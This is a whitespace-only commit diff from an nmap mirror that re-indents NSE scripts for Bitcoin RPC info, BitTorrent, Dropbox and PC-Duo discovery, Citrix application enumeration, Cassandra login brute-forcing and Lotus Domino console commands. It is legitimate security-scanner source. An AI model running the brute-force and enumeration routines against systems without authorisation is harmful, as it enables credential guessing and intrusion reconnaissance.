1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-07 05:01:29 +00:00

Re-indent some scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 17:36:09 +00:00
parent bcf991c128
commit 298be5bfaa
50 changed files with 3296 additions and 3296 deletions

View File

@@ -42,50 +42,50 @@ portrule = shortport.portnumber(8332)
-- JSON-RPC helpers -- JSON-RPC helpers
local function request(method, params, id) local function request(method, params, id)
json.make_array(params) json.make_array(params)
local req = {method = method, params = params, id = id} local req = {method = method, params = params, id = id}
local serial = json.generate(req) local serial = json.generate(req)
return serial return serial
end end
local function response(serial) local function response(serial)
local _, response = json.parse(serial) local _, response = json.parse(serial)
local result = response["result"] local result = response["result"]
return result return result
end end
local ServiceProxy = {} local ServiceProxy = {}
function ServiceProxy:new(host, port, path, options) function ServiceProxy:new(host, port, path, options)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.host = host self.host = host
self.port = port self.port = port
self.path = path self.path = path
self.options = options self.options = options
self.__index = function(_, method) self.__index = function(_, method)
return function(...) return function(...)
return self:call(method, table.pack(...)) return self:call(method, table.pack(...))
end end
end end
return o return o
end end
function ServiceProxy:remote(req) function ServiceProxy:remote(req)
local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req) local httpdata = http.post(self.host, self.port, self.path, self.options, nil, req)
if httpdata.status == 200 then if httpdata.status == 200 then
return httpdata.body return httpdata.body
end end
end end
function ServiceProxy:call(method, args) function ServiceProxy:call(method, args)
local FIRST = 1 local FIRST = 1
local req = request(method, args, FIRST) local req = request(method, args, FIRST)
local ret = self:remote(req) local ret = self:remote(req)
if not ret then if not ret then
return return
end end
local result = response(ret) local result = response(ret)
return result return result
end end
-- Convert an integer into a broken-down version number. -- Convert an integer into a broken-down version number.
@@ -98,52 +98,52 @@ end
-- 31900 -> 0.3.19 -- 31900 -> 0.3.19
-- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0 -- Version 0.3.13 release announcement: https://bitcointalk.org/?topic=1327.0
local function decode_bitcoin_version(n) local function decode_bitcoin_version(n)
if n < 31300 then if n < 31300 then
local minor, micro = n / 100, n % 100 local minor, micro = n / 100, n % 100
return string.format("0.%d.%d", minor, micro) return string.format("0.%d.%d", minor, micro)
else else
local minor, micro = n / 10000, (n / 100) % 100 local minor, micro = n / 10000, (n / 100) % 100
return string.format("0.%d.%d", minor, micro) return string.format("0.%d.%d", minor, micro)
end end
end end
local function formatpairs(info) local function formatpairs(info)
local result = {} local result = {}
for k, v in pairs(info) do for k, v in pairs(info) do
if v ~= "" then if v ~= "" then
local line = k .. ": " .. tostring(v) local line = k .. ": " .. tostring(v)
table.insert(result, line) table.insert(result, line)
end end
end end
return result return result
end end
local function getinfo(host, port, user, pass) local function getinfo(host, port, user, pass)
local auth = {username = user, password = pass} local auth = {username = user, password = pass}
local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth}) local bitcoind = ServiceProxy:new(host, port, "/", {auth = auth})
return bitcoind.getinfo() return bitcoind.getinfo()
end end
action = function(host, port) action = function(host, port)
local response = {} local response = {}
local c = creds.Credentials:new(creds.ALL_DATA, host, port) local c = creds.Credentials:new(creds.ALL_DATA, host, port)
local states = creds.State.VALID + creds.State.PARAM local states = creds.State.VALID + creds.State.PARAM
for cred in c:getCredentials(states) do for cred in c:getCredentials(states) do
local info = getinfo(host, port, cred.user, cred.pass) local info = getinfo(host, port, cred.user, cred.pass)
if info then if info then
local result = formatpairs(info) local result = formatpairs(info)
result["name"] = "USER: " .. cred.user result["name"] = "USER: " .. cred.user
table.insert(response, result) table.insert(response, result)
port.version.name = "http" port.version.name = "http"
port.version.product = "Bitcoin JSON-RPC" port.version.product = "Bitcoin JSON-RPC"
if info.version then if info.version then
port.version.version = decode_bitcoin_version(info.version) port.version.version = decode_bitcoin_version(info.version)
end end
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
end end
end end
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -48,88 +48,88 @@ categories = {"discovery","safe"}
prerule = function() prerule = function()
if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and if not stdnse.get_script_args(SCRIPT_NAME..".torrent") and
not stdnse.get_script_args(SCRIPT_NAME..".magnet") then not stdnse.get_script_args(SCRIPT_NAME..".magnet") then
stdnse.print_debug(3, stdnse.print_debug(3,
"Skipping '%s' %s, No magnet link or torrent file arguments.", "Skipping '%s' %s, No magnet link or torrent file arguments.",
SCRIPT_NAME, SCRIPT_TYPE) SCRIPT_NAME, SCRIPT_TYPE)
return false return false
end end
return true return true
end end
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent") local filename = stdnse.get_script_args(SCRIPT_NAME..".torrent")
local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet") local magnet = stdnse.get_script_args(SCRIPT_NAME..".magnet")
local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes") local include_nodes = stdnse.get_script_args(SCRIPT_NAME..".include-nodes")
local t = bittorrent.Torrent:new() local t = bittorrent.Torrent:new()
if filename then if filename then
t:load_from_file(filename) t:load_from_file(filename)
elseif magnet then elseif magnet then
t:load_from_magnet(magnet) t:load_from_magnet(magnet)
end end
t:trackers_peers() t:trackers_peers()
t:dht_peers(timeout) t:dht_peers(timeout)
local output = {} local output = {}
local peers = {} local peers = {}
peers.name = "Peers:" peers.name = "Peers:"
local nodes = {} local nodes = {}
nodes.name = "Nodes:" nodes.name = "Nodes:"
-- add peers -- add peers
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
for peer_ip in pairs(t.peers) do for peer_ip in pairs(t.peers) do
target.add(peer_ip) target.add(peer_ip)
table.insert(peers, peer_ip) table.insert(peers, peer_ip)
end end
if #peers>0 then if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered") table.insert(peers, "Total of "..#peers.." peers discovered")
end end
else else
for peer_ip in pairs(t.peers) do for peer_ip in pairs(t.peers) do
table.insert(peers, peer_ip) table.insert(peers, peer_ip)
end end
if #peers>0 then if #peers>0 then
table.insert(peers, "Total of "..#peers.." peers discovered") table.insert(peers, "Total of "..#peers.." peers discovered")
end end
end end
-- add nodes -- add nodes
if target.ALLOW_NEW_TARGETS and include_nodes then if target.ALLOW_NEW_TARGETS and include_nodes then
for node_ip in pairs(t.nodes) do for node_ip in pairs(t.nodes) do
target.add(node_ip) target.add(node_ip)
table.insert(nodes, node_ip) table.insert(nodes, node_ip)
end end
if #nodes >0 then if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered") table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end end
elseif include_nodes then elseif include_nodes then
for node_ip in pairs(t.nodes) do for node_ip in pairs(t.nodes) do
table.insert(nodes, node_ip) table.insert(nodes, node_ip)
end end
if #nodes >0 then if #nodes >0 then
table.insert(nodes, "Total of "..#nodes.." nodes discovered") table.insert(nodes, "Total of "..#nodes.." nodes discovered")
end end
end end
local print_out = false local print_out = false
if #peers > 0 then if #peers > 0 then
table.insert(output, peers) table.insert(output, peers)
print_out = true print_out = true
end end
if include_nodes and #nodes > 0 then if include_nodes and #nodes > 0 then
table.insert(output, nodes) table.insert(output, nodes)
print_out = true print_out = true
end end
if print_out and not target.ALLOW_NEW_TARGETS then if print_out and not target.ALLOW_NEW_TARGETS then
table.insert(output,"Use the newtargets script-arg to add the results as targets") table.insert(output,"Use the newtargets script-arg to add the results as targets")
end end
return stdnse.format_output( print_out , output) return stdnse.format_output( print_out , output)
end end

View File

@@ -41,95 +41,95 @@ local DROPBOX_BROADCAST_PERIOD = 20
local DROPBOX_PORT = 17500 local DROPBOX_PORT = 17500
prerule = function() prerule = function()
return true return true
end end
action = function() action = function()
-- Start listening for broadcasts. -- Start listening for broadcasts.
local sock = nmap.new_socket("udp") local sock = nmap.new_socket("udp")
sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000) sock:set_timeout(2 * DROPBOX_BROADCAST_PERIOD * 1000)
local status, result = sock:bind(nil, DROPBOX_PORT) local status, result = sock:bind(nil, DROPBOX_PORT)
if not status then if not status then
stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result) stdnse.print_debug(1, "Could not bind on port %d: %s", DROPBOX_PORT, result)
sock:close() sock:close()
return return
end end
-- Keep track of the IDs we've already seen. -- Keep track of the IDs we've already seen.
local ids = {} local ids = {}
-- Initialize the output table. -- Initialize the output table.
local results = tab.new(6) local results = tab.new(6)
tab.addrow( tab.addrow(
results, results,
'displayname', 'displayname',
'ip', 'ip',
'port', 'port',
'version', 'version',
'host_int', 'host_int',
'namespaces' 'namespaces'
) )
local status, result = sock:receive() local status, result = sock:receive()
while status do while status do
-- Parse JSON. -- Parse JSON.
local status, info = json.parse(result) local status, info = json.parse(result)
if status then if status then
-- Get IP address of broadcasting host. -- Get IP address of broadcasting host.
local status, _, _, ip, _ = sock:get_info() local status, _, _, ip, _ = sock:get_info()
if not status then if not status then
stdnse.print_debug(1, "Failed to get socket info.") stdnse.print_debug(1, "Failed to get socket info.")
break break
end end
stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip) stdnse.print_debug(1, "Received broadcast from host %s (%s).", info.displayname, ip)
-- Check if we've already seen this ID. -- Check if we've already seen this ID.
if ids[info.host_int] then if ids[info.host_int] then
-- We can stop now, since we've seen the same ID twice -- We can stop now, since we've seen the same ID twice
-- If ever a host sends a broadcast twice in a row, this will -- If ever a host sends a broadcast twice in a row, this will
-- artificially stop the listener. I can't think of a workaround -- artificially stop the listener. I can't think of a workaround
-- for now, so this will have to do. -- for now, so this will have to do.
break break
end end
ids[info.host_int] = true ids[info.host_int] = true
-- Add host scan list. -- Add host scan list.
if target.ALLOW_NEW_TARGETS then if target.ALLOW_NEW_TARGETS then
target.add(ip) target.add(ip)
end end
-- Add host to list. -- Add host to list.
for _, key1 in pairs({"namespaces", "version"}) do for _, key1 in pairs({"namespaces", "version"}) do
for key2, val in pairs(info[key1]) do for key2, val in pairs(info[key1]) do
info[key1][key2] = tostring(info[key1][key2]) info[key1][key2] = tostring(info[key1][key2])
end end
end end
tab.addrow( tab.addrow(
results, results,
info.displayname, info.displayname,
ip, ip,
info.port, info.port,
stdnse.strjoin(".", info.version), stdnse.strjoin(".", info.version),
info.host_int, info.host_int,
stdnse.strjoin(", ", info.namespaces) stdnse.strjoin(", ", info.namespaces)
) )
stdnse.print_debug(1, "Added host %s.", info.displayname) stdnse.print_debug(1, "Added host %s.", info.displayname)
end end
status, result = sock:receive() status, result = sock:receive()
end end
sock:close() sock:close()
-- If no broadcasts received, don't output anything. -- If no broadcasts received, don't output anything.
if not next(ids) then if not next(ids) then
return return
end end
-- Format table, without trailing newline. -- Format table, without trailing newline.
results = tab.dump(results) results = tab.dump(results)
results = results:sub(1, #results - 1) results = results:sub(1, #results - 1)
return "\n" .. results return "\n" .. results
end end

View File

@@ -37,97 +37,97 @@ prerule = function() return ( nmap.address_family() == "inet") end
-- @param responses table containing the responses -- @param responses table containing the responses
local function udpProbe(probe, responses) local function udpProbe(probe, responses)
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
socket:set_timeout(500) socket:set_timeout(500)
for i=1,2 do for i=1,2 do
local status = socket:sendto(probe.host, probe.port, probe.data) local status = socket:sendto(probe.host, probe.port, probe.data)
if ( not(status) ) then if ( not(status) ) then
return "\n ERROR: Failed to send broadcast request" return "\n ERROR: Failed to send broadcast request"
end end
end end
local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) ) local timeout = TIMEOUT or ( 20 / ( nmap.timing_level() + 1 ) )
local stime = os.time() local stime = os.time()
local hosts = {} local hosts = {}
repeat repeat
local status, data = socket:receive() local status, data = socket:receive()
if ( status ) then if ( status ) then
local srvname = data:match(probe.match) local srvname = data:match(probe.match)
if ( srvname ) then if ( srvname ) then
local status, _, _, rhost, _ = socket:get_info() local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then if ( not(status) ) then
socket:close() socket:close()
return false, "Failed to get socket information" return false, "Failed to get socket information"
end end
-- avoid duplicates -- avoid duplicates
hosts[rhost] = srvname hosts[rhost] = srvname
end end
end end
until( os.time() - stime > timeout ) until( os.time() - stime > timeout )
socket:close() socket:close()
local result = {} local result = {}
for ip, name in pairs(hosts) do for ip, name in pairs(hosts) do
table.insert(result, ("%s - %s"):format(ip,name)) table.insert(result, ("%s - %s"):format(ip,name))
end end
if ( #result > 0 ) then if ( #result > 0 ) then
result.name = probe.topic result.name = probe.topic
table.insert(responses, result) table.insert(responses, result)
end end
condvar "signal" condvar "signal"
end end
action = function() action = function()
-- PC-Duo UDP probes -- PC-Duo UDP probes
local probes = { local probes = {
-- PC-Duo Host probe -- PC-Duo Host probe
{ {
host = { ip = "255.255.255.255" }, host = { ip = "255.255.255.255" },
port = { number = 1505, protocol = "udp" }, port = { number = 1505, protocol = "udp" },
data = bin.pack("H", "00808008ff00"), data = bin.pack("H", "00808008ff00"),
match= "^.........(%w*)\0", match= "^.........(%w*)\0",
topic= "PC-Duo Hosts" topic= "PC-Duo Hosts"
}, },
-- PC-Duo Gateway Server probe -- PC-Duo Gateway Server probe
{ {
host = { ip = "255.255.255.255" }, host = { ip = "255.255.255.255" },
port = { number = 2303, protocol = "udp" }, port = { number = 2303, protocol = "udp" },
data = bin.pack("H", "20908008ff00"), data = bin.pack("H", "20908008ff00"),
match= "^.........(%w*)\0", match= "^.........(%w*)\0",
topic= "PC-Duo Gateway Server" topic= "PC-Duo Gateway Server"
}, },
} }
local threads, responses = {}, {} local threads, responses = {}, {}
local condvar = nmap.condvar(responses) local condvar = nmap.condvar(responses)
-- start a thread for each probe -- start a thread for each probe
for _, p in ipairs(probes) do for _, p in ipairs(probes) do
local th = stdnse.new_thread( udpProbe, p, responses ) local th = stdnse.new_thread( udpProbe, p, responses )
threads[th] = true threads[th] = true
end end
-- wait until the probes are all done -- wait until the probes are all done
repeat repeat
for thread in pairs(threads) do for thread in pairs(threads) do
if coroutine.status(thread) == "dead" then if coroutine.status(thread) == "dead" then
threads[thread] = nil threads[thread] = nil
end end
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
until next(threads) == nil until next(threads) == nil
table.sort(responses, function(a,b) return a.name < b.name end) table.sort(responses, function(a,b) return a.name < b.name end)
-- did we get any responses -- did we get any responses
if ( #responses > 0 ) then if ( #responses > 0 ) then
return stdnse.format_output(true, responses) return stdnse.format_output(true, responses)
end end
end end

View File

@@ -36,98 +36,98 @@ portrule = shortport.port_or_service({9160}, {"cassandra"})
Driver = { Driver = {
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { host = host, port = port, socket = nmap.new_socket() } local o = { host = host, port = port, socket = nmap.new_socket() }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
connect = function(self) connect = function(self)
return self.socket:connect(self.host, self.port) return self.socket:connect(self.host, self.port)
end, end,
-- bit faster login function than in cassandra library (no protocol error checks) -- bit faster login function than in cassandra library (no protocol error checks)
login = function(self, username, password) login = function(self, username, password)
local response, magic, size, _ local response, magic, size, _
local loginstr = cassandra.loginstr (username, password) local loginstr = cassandra.loginstr (username, password)
local status, err = self.socket:send(bin.pack(">I",string.len(loginstr))) local status, err = self.socket:send(bin.pack(">I",string.len(loginstr)))
local combo = username..":"..password local combo = username..":"..password
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "couldn't send length:"..combo ) local err = brute.Error:new( "couldn't send length:"..combo )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
status, err = self.socket:send(loginstr) status, err = self.socket:send(loginstr)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "couldn't send login packet: "..combo ) local err = brute.Error:new( "couldn't send login packet: "..combo )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
status, response = self.socket:receive_bytes(22) status, response = self.socket:receive_bytes(22)
if ( not(status) ) then if ( not(status) ) then
local err = brute.Error:new( "couldn't receive login reply size: "..combo ) local err = brute.Error:new( "couldn't receive login reply size: "..combo )
err:setAbort( true ) err:setAbort( true )
return false, err return false, err
end end
_, size = bin.unpack(">I", response, 1) _, size = bin.unpack(">I", response, 1)
magic = string.sub(response,18,22) magic = string.sub(response,18,22)
if (magic == cassandra.LOGINSUCC) then if (magic == cassandra.LOGINSUCC) then
stdnse.print_debug(3, "Account SUCCESS: "..combo) stdnse.print_debug(3, "Account SUCCESS: "..combo)
return true, brute.Account:new(username, password, creds.State.VALID) return true, brute.Account:new(username, password, creds.State.VALID)
elseif (magic == cassandra.LOGINFAIL) then elseif (magic == cassandra.LOGINFAIL) then
stdnse.print_debug(3,"Account FAIL: "..combo) stdnse.print_debug(3,"Account FAIL: "..combo)
return false, brute.Error:new( "Incorrect password" ) return false, brute.Error:new( "Incorrect password" )
elseif (magic == cassandra.LOGINACC) then elseif (magic == cassandra.LOGINACC) then
stdnse.print_debug(3, "Account VALID, but wrong password: "..combo) stdnse.print_debug(3, "Account VALID, but wrong password: "..combo)
return false, brute.Error:new( "Good user, bad password" ) return false, brute.Error:new( "Good user, bad password" )
else else
stdnse.print_debug(3, "Unrecognized packet for "..combo) stdnse.print_debug(3, "Unrecognized packet for "..combo)
stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) ) stdnse.print_debug(3, "packet hex: %s", stdnse.tohex(response) )
stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) ) stdnse.print_debug(3, "size packet hex: %s", stdnse.tohex(size) )
stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) ) stdnse.print_debug(3, "magic packet hex: %s", stdnse.tohex(magic) )
local err = brute.Error:new( response ) local err = brute.Error:new( response )
err:setRetry( true ) err:setRetry( true )
return false, err return false, err
end end
end, end,
disconnect = function(self) disconnect = function(self)
return self.socket:close() return self.socket:close()
end, end,
} }
local function noAuth(host, port) local function noAuth(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local status, result = socket:connect(host, port) local status, result = socket:connect(host, port)
local stat,err = cassandra.login (socket,"default","") local stat,err = cassandra.login (socket,"default","")
socket:close() socket:close()
if (stat) then if (stat) then
return true return true
else else
return false return false
end end
end end
action = function(host, port) action = function(host, port)
if ( noAuth(host, port) ) then if ( noAuth(host, port) ) then
return "Any username and password would do, 'default' was used to test." return "Any username and password would do, 'default' was used to test."
end end
local engine = brute.Engine:new(Driver, host, port ) local engine = brute.Engine:new(Driver, host, port )
engine.options.script_name = SCRIPT_NAME engine.options.script_name = SCRIPT_NAME
engine.options.firstonly = true engine.options.firstonly = true
local status, result = engine:start() local status, result = engine:start()
return result return result
end end

View File

@@ -76,75 +76,75 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
-- @return table suitable for stdnse.format_output -- @return table suitable for stdnse.format_output
function format_output(appdata, mode) function format_output(appdata, mode)
local result = {} local result = {}
local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"}, local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
{Encryption="Encryption"}, {AppInStartmenu="In start menu"}, {Encryption="Encryption"}, {AppInStartmenu="In start menu"},
{PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} } {PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
if mode == "short" then if mode == "short" then
for app_name, AppData in ipairs(appdata) do for app_name, AppData in ipairs(appdata) do
local line = "Application: " .. AppData.FName local line = "Application: " .. AppData.FName
if AppData.AccessList then if AppData.AccessList then
if AppData.AccessList.User then if AppData.AccessList.User then
line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) line = line .. "; Users: " .. stdnse.strjoin(", ", AppData.AccessList.User)
end end
if AppData.AccessList.Group then if AppData.AccessList.Group then
line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) line = line .. "; Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group)
end end
table.insert(result, line) table.insert(result, line)
end end
end end
else else
for app_name, AppData in ipairs(appdata) do for app_name, AppData in ipairs(appdata) do
local result_part = {} local result_part = {}
result_part.name = "Application: " .. AppData.FName result_part.name = "Application: " .. AppData.FName
local settings = AppData.Settings local settings = AppData.Settings
for _, setting_pairs in ipairs(setting_titles) do for _, setting_pairs in ipairs(setting_titles) do
for setting_key, setting_title in pairs(setting_pairs) do for setting_key, setting_title in pairs(setting_pairs) do
local setting_value = settings[setting_key] and settings[setting_key] or "" local setting_value = settings[setting_key] and settings[setting_key] or ""
table.insert(result_part, setting_title .. ": " .. setting_value ) table.insert(result_part, setting_title .. ": " .. setting_value )
end end
end end
if AppData.AccessList then if AppData.AccessList then
if AppData.AccessList.User then if AppData.AccessList.User then
table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) ) table.insert(result_part, "Users: " .. stdnse.strjoin(", ", AppData.AccessList.User) )
end end
if AppData.AccessList.Group then if AppData.AccessList.Group then
table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) ) table.insert(result_part, "Groups: " .. stdnse.strjoin(", ", AppData.AccessList.Group) )
end end
table.insert(result, result_part) table.insert(result, result_part)
end end
end end
end end
return result return result
end end
action = function(host,port) action = function(host,port)
local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} }) local response = citrixxml.request_appdata(host.ip, port.number, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
local appdata = citrixxml.parse_appdata_response(response) local appdata = citrixxml.parse_appdata_response(response)
local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short")) local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
return stdnse.format_output(true, response) return stdnse.format_output(true, response)
end end

View File

@@ -40,107 +40,107 @@ portrule = shortport.portnumber(1604, "udp")
-- --
function process_server_response(response) function process_server_response(response)
local pos, packet_len = bin.unpack("SS", response) local pos, packet_len = bin.unpack("SS", response)
local server_name local server_name
local server_list = {} local server_list = {}
if packet_len < 40 then if packet_len < 40 then
return return
end end
-- the list of published applications starts at offset 40 -- the list of published applications starts at offset 40
local offset = 41 local offset = 41
while offset < packet_len do while offset < packet_len do
pos, server_name = bin.unpack("z", response:sub(offset)) pos, server_name = bin.unpack("z", response:sub(offset))
offset = offset + pos - 1 offset = offset + pos - 1
table.insert(server_list, server_name) table.insert(server_list, server_name)
end end
return server_list return server_list
end end
action = function(host, port) action = function(host, port)
local packet, counter, socket local packet, counter, socket
local query = {} local query = {}
local server_list = {} local server_list = {}
-- --
-- Packets were intercepted from the Citrix Program Neighborhood client -- Packets were intercepted from the Citrix Program Neighborhood client
-- They are used to query a server for it's list of published applications -- They are used to query a server for it's list of published applications
-- --
-- We're really not interested in the responses to the first two packets -- We're really not interested in the responses to the first two packets
-- The third response contains the list of published applications -- The third response contains the list of published applications
-- I couldn't find any documentation on this protocol so I'm providing -- I couldn't find any documentation on this protocol so I'm providing
-- some brief information for the bits and bytes this script uses. -- some brief information for the bits and bytes this script uses.
-- --
-- Spec. of response to query[2] that contains a list of published apps -- Spec. of response to query[2] that contains a list of published apps
-- --
-- offset size content -- offset size content
-- ------------------------- -- -------------------------
-- 0 16-bit Length -- 0 16-bit Length
-- 12 32-bit Server IP (not used here) -- 12 32-bit Server IP (not used here)
-- 30 8-bit Last packet (1), More packets(0) -- 30 8-bit Last packet (1), More packets(0)
-- 40 - null-separated list of applications -- 40 - null-separated list of applications
-- --
query[0] = string.char( query[0] = string.char(
0x1e, 0x00, -- Length: 30 0x1e, 0x00, -- Length: 30
0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00 0x00, 0x00, 0x00, 0x00
) )
query[1] = string.char( query[1] = string.char(
0x2a, 0x00, -- Length: 42 0x2a, 0x00, -- Length: 42
0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00, 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
) )
counter = 0 counter = 0
socket = nmap.new_socket() socket = nmap.new_socket()
socket:set_timeout(5000) socket:set_timeout(5000)
local try = nmap.new_try(function() socket:close() end) local try = nmap.new_try(function() socket:close() end)
try(socket:connect(host, port)) try(socket:connect(host, port))
-- send the two first packets and never look back -- send the two first packets and never look back
repeat repeat
try(socket:send(query[counter])) try(socket:send(query[counter]))
packet = try(socket:receive()) packet = try(socket:receive())
counter = counter + 1 counter = counter + 1
until (counter>#query) until (counter>#query)
-- process the first response -- process the first response
server_list = process_server_response( packet ) server_list = process_server_response( packet )
-- --
-- the byte at offset 31 in the response has a really magic function -- the byte at offset 31 in the response has a really magic function
-- if it is set to zero (0) we have more response packets to process -- if it is set to zero (0) we have more response packets to process
-- if it is set to one (1) we have arrived at the last packet of our journey -- if it is set to one (1) we have arrived at the last packet of our journey
-- --
while packet:sub(31,31) ~= string.char(0x01) do while packet:sub(31,31) ~= string.char(0x01) do
packet = try( socket:receive() ) packet = try( socket:receive() )
local tmp_table = process_server_response( packet ) local tmp_table = process_server_response( packet )
for _, v in ipairs(tmp_table) do for _, v in ipairs(tmp_table) do
table.insert(server_list, v) table.insert(server_list, v)
end end
end end
if #server_list>0 then if #server_list>0 then
nmap.set_port_state(host, port, "open") nmap.set_port_state(host, port, "open")
end end
socket:close() socket:close()
return stdnse.format_output(true, server_list) return stdnse.format_output(true, server_list)
end end

View File

@@ -10,7 +10,7 @@ Runs a console command on the Lotus Domino Console using the given authenticatio
--- ---
-- @usage -- @usage
-- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \ -- nmap -p 2050 <host> --script domcon-cmd --script-args domcon-cmd.cmd="show server", \
-- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret" -- domcon-cmd.user="Patrik Karlsson",domcon-cmd.pass="secret"
-- --
-- @output -- @output
-- PORT STATE SERVICE REASON -- PORT STATE SERVICE REASON
@@ -70,69 +70,69 @@ portrule = shortport.port_or_service(2050, "dominoconsole", "tcp", "open")
-- or error message if status is false -- or error message if status is false
local function readAPIBlock( socket ) local function readAPIBlock( socket )
local lines local lines
local result = {} local result = {}
local status, line = socket:receive_lines(1) local status, line = socket:receive_lines(1)
if ( not(status) ) then return false, "Failed to read line" end if ( not(status) ) then return false, "Failed to read line" end
lines = stdnse.strsplit( "\n", line ) lines = stdnse.strsplit( "\n", line )
for _, line in ipairs( lines ) do for _, line in ipairs( lines ) do
if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then if ( not(line:match("BeginData")) and not(line:match("EndData")) ) then
table.insert(result, line) table.insert(result, line)
end end
end end
-- Clear trailing empty lines -- Clear trailing empty lines
while( true ) do while( true ) do
if ( result[#result] == "" ) then if ( result[#result] == "" ) then
table.remove(result, #result) table.remove(result, #result)
else else
break break
end end
end end
return true, result return true, result
end end
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local result_part, result, cmds = {}, {}, {} local result_part, result, cmds = {}, {}, {}
local user = stdnse.get_script_args('domcon-cmd.user') local user = stdnse.get_script_args('domcon-cmd.user')
local pass = stdnse.get_script_args('domcon-cmd.pass') local pass = stdnse.get_script_args('domcon-cmd.pass')
local cmd = stdnse.get_script_args('domcon-cmd.cmd') local cmd = stdnse.get_script_args('domcon-cmd.cmd')
if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end if( not(cmd) ) then return " \n ERROR: No command supplied (see domcon-cmd.cmd)" end
if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end if( not(user)) then return " \n ERROR: No username supplied (see domcon-cmd.user)" end
if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end if( not(pass)) then return " \n ERROR: No password supplied (see domcon-cmd.pass)" end
cmds = stdnse.strsplit(";%s*", cmd) cmds = stdnse.strsplit(";%s*", cmd)
socket:set_timeout(10000) socket:set_timeout(10000)
local status = socket:connect( host.ip, port.number, "tcp") local status = socket:connect( host.ip, port.number, "tcp")
if ( status ) then if ( status ) then
socket:reconnect_ssl() socket:reconnect_ssl()
end end
socket:send("#API\n") socket:send("#API\n")
